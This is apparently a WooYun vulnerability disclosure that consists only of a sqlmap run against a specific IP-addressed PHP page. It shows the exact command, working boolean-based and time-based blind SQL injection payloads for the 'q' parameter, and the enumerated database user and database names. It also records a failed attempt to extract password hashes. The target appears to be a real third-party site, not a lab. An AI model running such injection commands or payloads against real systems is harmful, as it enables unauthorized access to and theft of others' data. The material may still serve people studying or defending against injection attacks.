WooYun.org

[root@Hacker~]# Sqlmap sqlmap.py -u "http://103.17.11.133/ballot_a.php?q=78" --dbs --passwords --current-user --current-db --is-dba
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federa
[*] starting at 14:02:15
[14:02:15] [INFO] resuming back-end DBMS 'mysql'
[14:02:15] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: q
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=78' AND 3259=3259 AND 'zdWN'='zdWN
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: q=78' AND SLEEP(5) AND 'SLfV'='SLfV
---
[14:02:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.29, PHP 5.4.33
back-end DBMS: MySQL 5.0.11
[14:02:15] [INFO] fetching current user
[14:02:15] [INFO] resumed: healthne_portal@localhost
current user:    'healthne_portal@localhost'
[14:02:15] [INFO] fetching current database
[14:02:15] [INFO] resumed: healthne_vhost52412
current database:    'healthne_vhost52412'
[14:02:15] [INFO] testing if current user is DBA
[14:02:15] [INFO] fetching current user
current user is DBA:    False
[14:02:15] [INFO] fetching database users password hashes
[14:02:15] [INFO] fetching database users
[14:02:15] [INFO] fetching number of database users
[14:02:15] [INFO] resumed: 1
[14:02:15] [INFO] resumed: 'healthne_portal'@'localhost'
[14:02:15] [INFO] fetching number of password hashes for user 'healthne_portal'
[14:02:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:02:15] [INFO] retrieved:
[14:02:16] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[14:02:19] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
[14:02:20] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[14:02:20] [WARNING] unable to retrieve the number of password hashes for user 'healthne_portal'
[14:02:20] [ERROR] unable to retrieve the password hashes for the database users (most probably because the session user has no read privileges over the relevant system database table
[14:02:20] [INFO] fetching database names
[14:02:20] [INFO] fetching number of databases
[14:02:20] [INFO] resumed: 2
[14:02:20] [INFO] resumed: information_schema
[14:02:20] [INFO] resumed: healthne_vhost52412
available databases [2]:
[*] healthne_vhost52412
[*] information_schema
[14:02:20] [INFO] fetched data logged to text files under 'E:\INJECT~1\SQLMAP~1.4\Bin\output\103.17.11.133'